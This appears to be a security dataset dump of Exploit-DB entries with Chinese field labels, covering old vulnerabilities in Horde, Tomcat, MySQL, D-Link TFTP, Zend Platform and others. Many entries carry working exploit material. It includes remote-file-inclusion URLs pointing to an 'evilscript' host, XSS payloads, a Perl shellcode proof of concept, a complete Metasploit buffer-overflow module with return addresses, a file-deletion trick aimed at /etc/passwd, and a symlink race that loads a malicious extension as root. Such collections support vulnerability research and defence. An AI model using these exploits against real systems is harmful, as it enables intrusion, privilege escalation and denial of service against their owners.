QLWD/code_shield huggingface dataset:
标题: Viper Web Portal 0.1 - 'index.php' Remote File Inclusion EDB-ID: 29744 CVE: 2007-1514 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22979/info

Viper Web Portal is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/index.php?modpath=http://www.example2.com/evilscript? URL: https://www.exploit-db.com/exploits/29744
标题: Horde Framework and IMP 2.x/3.x - Cleanup Cron Script Arbitrary File Deletion EDB-ID: 29746 CVE: 2007-1474 类型: LOCAL 平台: LINUX 发布日期: 2007-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22985/info

Horde Framework and IMP are prone to a vulnerability that allows a local attacker to delete arbitrary files in the context of the user running the application.

A successful attack can reduce the integrity of affected computers and may aid in further attacks. 

An attacker could exploit this issue by creating a file '/tmp/x /etc/passwd /tmpmswordx' and running the affected cron script. This will result in the deletion of '/tmp/x', '/etc/passwd', and '/tmp/mswordx'. URL: https://www.exploit-db.com/exploits/29746
标题: Horde IMP Webmail 4.0.4 Client - Multiple Input Validation Vulnerabilities EDB-ID: 29742 CVE: 2007-1515 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22975/info

Horde IMP Webmail Client is prone to multiple input-validation vulnerabilities, including cross-site scripting and an HTML-injection issue, because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/horde/imp/search.php?edit_query=[xss] URL: https://www.exploit-db.com/exploits/29742
标题: Symantec 'SYMTDI.SYS' Device Driver - Local Denial of Service EDB-ID: 29743 CVE: 2007-1476 类型: DOS 平台: WINDOWS 发布日期: 2007-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22977/info

Symantec 'SYMTDI.SYS' device driver is prone to a local denial-of-service vulnerability.

A local authenticated attacker may exploit this issue to crash affected computers, denying service to legitimate users.

This issue is similar to the one described in BID 22961. Symantec is currently investigating this issue; we will update this BID as more information emerges.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29743.zip URL: https://www.exploit-db.com/exploits/29743
标题: ClipShare 1.5.3 - 'ADODB-Connection.Inc.php' Remote File Inclusion EDB-ID: 29736 CVE: 2007-1430 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22928/info

ClipShare is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.5.3; other versions may also be vulnerable.

http://www.example.com/Path/include/adodb-connection.inc.php?cmd=[Shell-Attack] URL: https://www.exploit-db.com/exploits/29736
标题: DirectAdmin 1.292 - 'CMD_USER_STATS' Cross-Site Scripting EDB-ID: 29747 CVE: 2007-1508 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22996/info

DirectAdmin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/CMD_USER_STATS?RESULT='http://example2.com/script.js' URL: https://www.exploit-db.com/exploits/29747
标题: Apache Tomcat 5.x/6.0.x - Directory Traversal EDB-ID: 29739 CVE: 2007-0450 类型: REMOTE 平台: LINUX 发布日期: 2007-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/22960/info

Apache HTTP servers running with the Tomcat servlet container are prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue allows attackers to access arbitrary files in the Tomcat webroot. This can expose sensitive information that could help the attacker launch further attacks.

Versions in the 5.0 series prior to 5.5.22 and in the 6.0 series prior to 6.0.10 are vulnerable. 

http://www.example.com/foo/\../manager/html URL: https://www.exploit-db.com/exploits/29739
标题: Microsoft Windows XP/2000 - 'WinMM.dll' / '.WAV' Remote Denial of Service EDB-ID: 29738 CVE: 2007-1492 类型: DOS 平台: WINDOWS 发布日期: 2007-03-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/22938/info

Microsoft Windows is prone to a denial-of-service vulnerability.

A remote attacker may exploit this vulnerability by presenting a malicious WAV file to a victim user.

Successful exploits will result in excessive CPU consumption, effectively denying service. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29738.wav URL: https://www.exploit-db.com/exploits/29738
标题: Oracle Portal 10g - 'P_OldURL' Cross-Site Scripting EDB-ID: 29749 CVE: 2007-1506 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22999/info

Oracle Portal is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/pls/portal/PORTAL.wwv_main.render_warning_screen?p_oldurl='<script>alert('inT')</script>&p_newurl='<script>alert('ellect')</script> URL: https://www.exploit-db.com/exploits/29749
标题: Premod SubDog 2 - '/includes/themen_portal_mitte.php?phpbb_root_path' Remote File Inclusion EDB-ID: 29728 CVE: 2007-1421 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/22912/info
 
Premod SubDog 2 is prone to multiple remote file-include vulnerabilities.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/[path]/includes/themen_portal_mitte.php?phpbb_root_path=[Shell-Attack] URL: https://www.exploit-db.com/exploits/29728
标题: FiSH-irssi - Multiple Remote Buffer Overflow Vulnerabilities EDB-ID: 29721 CVE: 2007-1397 类型: DOS 平台: WINDOWS 发布日期: 2007-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/22880/info

FiSH is prone to multiple remote buffer-overflow vulnerabilities because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial of service.

# FiSH IRC encryption evil ircd PoC exploit.
# Abuses CVE-2007-1397
# Bad ircd, nasty bnc provider, nicknames over 100 char --> ruin.
# Runs arbitrary code which which in this case shuts down irssi.
# Tested on my own compiled FiSH with irssi/fedora/x86
# There are a lot more problems like this one, you should /unload fish
# Caleb James DeLisle - cjd
 
use Socket;
 
$retPtr = "\x60\xef\xff\xbf";
 
# Pirated from some guy called gunslinger_
$exit1code = "\x31\xc0\xb0\x01\x31\xdb\xcd\x80";
 
$code = "\x90" x 120 . $exit1code . $retPtr;
 
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or die "Couldn't open socket";
bind(SOCKET, sockaddr_in(6667, inet_aton("127.0.0.1"))) or die "Couldn't bind to port 6667";
listen(SOCKET,5) or die "Couldn't listen on port";
 
while(accept(CLIENT,SOCKET)){
    sleep 1;
    select((select(CLIENT), $|=1)[0]);
    print CLIENT ":-psyBNC!~cjd\@ef.net PRIVMSG luser : :($code\r\n";
}
close(SOCKET); URL: https://www.exploit-db.com/exploits/29721
标题: Premod SubDog 2 - '/includes/logger_engine.php?phpbb_root_path' Remote File Inclusion EDB-ID: 29729 CVE: 2007-1421 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/22912/info
  
Premod SubDog 2 is prone to multiple remote file-include vulnerabilities.
  
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
http://www.example.com/[path]/includes/logger_engine.php?phpbb_root_path=[Shell-Attack] URL: https://www.exploit-db.com/exploits/29729
标题: JCCorp URLShrink Free 1.3.1 - 'CreateURL.php' Remote File Inclusion EDB-ID: 29722 CVE: 2007-1416 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/22894/info

URLshrink Free is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/Path_Script/createurl.php?formurl=[Shell-Attack] URL: https://www.exploit-db.com/exploits/29722
标题: MySQL 5.0.x - Single Row SubSelect Remote Denial of Service EDB-ID: 29724 CVE: 2007-1420 类型: DOS 平台: LINUX 发布日期: 2007-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/22900/info

MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain select statements to database metadata.

An attacker can exploit this issue to crash the application, denying access to legitimate users. The attacker may also be able to execute arbitrary code, but this has not yet been confirmed.

NOTE: An attacker must be able to execute arbitrary SELECT statements on the vulnerable computer to exploit this issue. This may be through legitimate means or by exploiting other latent SQL-injection vulnerabilities.

Versions prior to 5.0.36 are vulnerable. 

SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol'); URL: https://www.exploit-db.com/exploits/29724
标题: D-Link TFTP 1.0 - Transporting Mode Remote Buffer Overflow EDB-ID: 29735 CVE: 2007-1435 类型: REMOTE 平台: HARDWARE 发布日期: 2007-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22923/info

D-Link TFTP is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before storing it in a finite-sized buffer.

A remote attacker can exploit this issue to cause the application to crash, denying further service to legitimate users. Given the nature of this issue, the attacker may presumably be able to execute code.

D-Link TFTP 1.0 is vulnerable; other versions may also be affected. 

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/ 
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack overflow in D-Link TFTP 1.0.
     By sending a request for an overly long file name, an attacker 
     could overflow a buffer and execute arbitrary code. For best results,
     use bind payloads with nonx (No NX).
   },
   'Author'         =>  [
       'LSO <lso[@]hushmail.com>', # Exploit module
       'patrick', # Refs, stability, targets etc
      ],
   'Version'        => '$Revision$',
   'References'     => 
    [ 
     [ 'BID', '22923' ],
     [ 'OSVDB', '33977' ],
     [ 'CVE', '2007-1435' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
     'Compat'   => 
     {
      'ConnectionType' => '-reverse',
     },
    },
   'SaveRegisters'  => [ 'ecx', 'eax', 'esi' ],
   'Platform'       => 'win',
   
   'Targets'        =>
    [
     # Patrick tested OK 20090228
     ['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
     ['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Mar 12 2007',
   'DefaultTarget' => 0))

   register_options([Opt::RPORT(69)], self)

 end

 def exploit
  connect_udp

  print_status("Trying target #{target.name}...")

  juju = "\x00\x01"  
  juju << Rex::Text.rand_text_alpha_upper(581)
  juju << Rex::Arch::X86.jmp_short(42)
  juju << Rex::Text.rand_text_alpha_upper(38)
  juju << [target.ret].pack('V') + payload.encoded
 
  udp_sock.put(juju)

  handler
  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/29735
标题: SoftNews 4.1/5.5 - '/engine/Ajax/editnews.php?root_dir' Remote File Inclusion EDB-ID: 29731 CVE: 2007-1424 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/22913/info
 
DataLife Engine is prone to multiple remote file-include vulnerabilities.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
NOTE: Further information reveals that the reported vulnerable parameter is actually a constant, not a variable, so it cannot be controlled by an attacker. Since the application is not vulnerable, this BID is being retired.
 
http://www.example.com/engine/Ajax/editnews.php?root_dir=[Shell-Attack]k] URL: https://www.exploit-db.com/exploits/29731
标题: Premod SubDog 2 - '/includes/functions_kb.php?phpbb_root_path' Remote File Inclusion EDB-ID: 29727 CVE: 2007-1421 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/22912/info

Premod SubDog 2 is prone to multiple remote file-include vulnerabilities.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/[path]/includes/functions_kb.php?phpbb_root_path=[Shell-Attack] URL: https://www.exploit-db.com/exploits/29727
标题: SoftNews 4.1/5.5 - '/engine/init.php?root_dir' Remote File Inclusion EDB-ID: 29730 CVE: 2007-1424 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/22913/info

DataLife Engine is prone to multiple remote file-include vulnerabilities.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

NOTE: Further information reveals that the reported vulnerable parameter is actually a constant, not a variable, so it cannot be controlled by an attacker. Since the application is not vulnerable, this BID is being retired.

http://www.example.com/engine/init.php?root_dir=[Shell-Attack] URL: https://www.exploit-db.com/exploits/29730
标题: Silc Server 1.0.2 - New Channel Remote Denial of Service EDB-ID: 29716 CVE: 2007-1327 类型: DOS 平台: LINUX 发布日期: 2007-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/22846/info

SILC Server is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker can exploit this issue to crash the affected server, effectively denying service to legitimate users.

This issue affects version 1.0.2; other versions may also be affected.

The following proof of concept demonstrates this issue:

connect yourserver
join nonexistent -hmac nonexistent URL: https://www.exploit-db.com/exploits/29716
标题: Ruckus Wireless Zoneflex 2942 Wireless Access Point - Authentication Bypass EDB-ID: 29709 CVE: 2013-5030 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-11-19 漏洞利用脚本: Exploit Title: Ruckus Wireless Zoneflex 2942 Wireless Access Point vulnerable to authentication bypass
Date: 10/10/2013
Exploit Author: myexploit
Vendor Homepage: http://www.ruckuswireless.com/
Version: 2942 Wireless Access Point version 9.6.0.0.267
CVE : CVE-2013-5030

Video to show the exploit

http://www.youtube.com/watch?v=KAAQZZs4_n4

Overview

Ruckus Wireless Zoneflex 2942 Wireless Access Point version 9.6.0.0.267 and possibly earlier versions contains an authentication bypass vulnerability (CWE-592).
Description

CWE-592: Authentication Bypass Issues

Ruckus Wireless Zoneflex 2942 Wireless Access Point version 9.6.0.0.267 contains an authentication bypass vulnerability. A local unauthenticated attacker may attempt to login with any credentials and after receiving the authentication failure message, the user can remove the /login.asp portion of the URI to bypass the login page. The attacker will not be able to browse to the other configuration pages of the device via the graphical user interface, but they can then manually edit the URI to gain access to the following pages:
/configuration/wireless.asp
/configuration/local_network.asp
/configuration/internet.asp
/configuration/device.asp
/maintenance/upgrade.asp
/maintenance/reboot.asp
Impact

An unauthenticated attacker may be able to directly access the device's configuration web pages. The attacker may also be able to reboot the access point, resulting in a denial of service.
Solution

We are currently unaware of a practical solution to this problem. Please consider the following workarounds. URL: https://www.exploit-db.com/exploits/29709
标题: EPortfolio 1.0 - Client-Side Input Validation EDB-ID: 29715 CVE: 2007-1331 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/22829/info

ePortfolio is prone to a client-side input-validation vulnerability because the application fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to perform various attacks that are caused by input-validation vulnerabilities. These may include cross-site scripting attacks, SQL-injection attacks, and possibly others. 

http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/29715
标题: radscan conquest 8.2 - Multiple Vulnerabilities EDB-ID: 29717 CVE: 2007-1371 类型: DOS 平台: LINUX 发布日期: 2007-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/22855/info

Conquest is prone to multiple remotely exploitable vulnerabilities, including a stack-based buffer-overflow vulnerability and a memory-corruption vulnerability.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or cause the affected application to crash, denying service to legitimate users.

These issues affect version 8.2a; prior versions may also be affected. 

1. Launch a fake metaserver that sends more than 1024 chars:
perl -e 'print "a"x1200' | nc -l -p 1700 -v -v -n

2. Launch the client, specifying the alternate metaserver:
conquest -m -M 127.0.0.1

3. Interrupt the fake metaserver: conquest should have been crashed
trying to executing the code at offset 0x61616161 URL: https://www.exploit-db.com/exploits/29717
标题: Tyger Bug Tracking System 1.1.3 - 'ViewBugs.php?s' SQL Injection EDB-ID: 29703 CVE: 2007-1289 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/22799/info

Tyger Bug Tracking System is prone to multiple input-validation vulnerabilities, including one SQL-injection issue and two cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/ViewBugs.php?s=[sql]&o=ASC URL: https://www.exploit-db.com/exploits/29703
标题: KDE Konqueror 3.5 - JavaScript IFrame Denial of Service EDB-ID: 29713 CVE: 2007-1308 类型: DOS 平台: LINUX 发布日期: 2007-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/22814/info

KDE Konqueror is prone to a remote denial-of-service vulnerability because of an error in KDE's JavaScript implementation.

An attacker may exploit this vulnerability to cause Konquerer to crash, resulting in denial-of-service conditions.

Konqueror included with KDE version 3.5.5 is vulnerable; other versions may also be affected. 

<html>
<body>

Demo of how to make Konqueror 3.5.5 crash by mark@bindshell.net.<p>
Simply load this file in Konqueror.  Vulnerable versions should segfault instantly with a null pointer exception.<p>
<p>

<script>
read_iframe = function(iframe_name) {
 var banner = document.getElementById(iframe_name).contentWindow.document.body.innerHTML;
 alert(banner);
}

var iframe = document.createElement("IFRAME");
iframe.setAttribute("src", 'ftp://localhost/anything');
iframe.setAttribute("name", 'myiframe');
iframe.setAttribute("id", 'myiframe');
iframe.setAttribute("onload", 'read_iframe("myiframe")');
iframe.style.width = "100px";
iframe.style.height = "100px";
 
document.body.appendChild(iframe);

</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/29713
标题: Zend Platform 2.2.1 - 'PHP.INI' File Modification EDB-ID: 29712 CVE: 2007-1369 类型: LOCAL 平台: PHP 发布日期: 2007-03-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/22802/info

The Zend Platform is prone to an issue that may let local attackers modify the PHP configuration file ('php.ini'). This issue occurs because the application is installed with an 'ini_modifier' program that may be executed by local users and will bypass the authentication that is required by the application to change the configuration file.

An attacker could add a malicious PHP extension to the configuration or otherwise tamper with PHP configuration directives. A successful exploit could grant the attacker elevated privileges on the computer.

$ cd /tmp

$ mkdir ini
$ cd ini
$ cp /usr/local/Zend/etc/php.ini .
... now edit zend_gui_password in the copy to a MD5 of your choice and
... REMEBER the old MD5
$ cd ..
$ /usr/local/Zend/sbin/ini_modifier -f /tmp/ini/php.ini -n
Password:
(ini_modifier) help
modify entry - Modifies an entry.
switch extension - Enables or disables an extension.
switch zend_extension - Enables or disables a Zend extension.
help - Shows this help.
write - Writes the changes.
quit - Quits the program.
(ini_modifier) switch zend_extension /var/www/upload/evil.so on
(ini_modifier) modify entry Zend zend_gui_password OLDMD5
(ini_modifier)

In a parallel session you now perform the following:

$ cd /tmp
$ mv ini ini.bak
$ ln -s /usr/local/Zend/etc ini

And continue to edit the ini file:

(ini_modifier) write
(ini_modifier) quit

$ cat /usr/local/Zend/etc/php.ini
[PHP]
zend_extension=/var/www/upload/evil.so
...
zend_gui_password=OLDMD5

The next time the webserver is restarted, the injected malicious Zend Extension will be loaded and executed with root permissions. URL: https://www.exploit-db.com/exploits/29712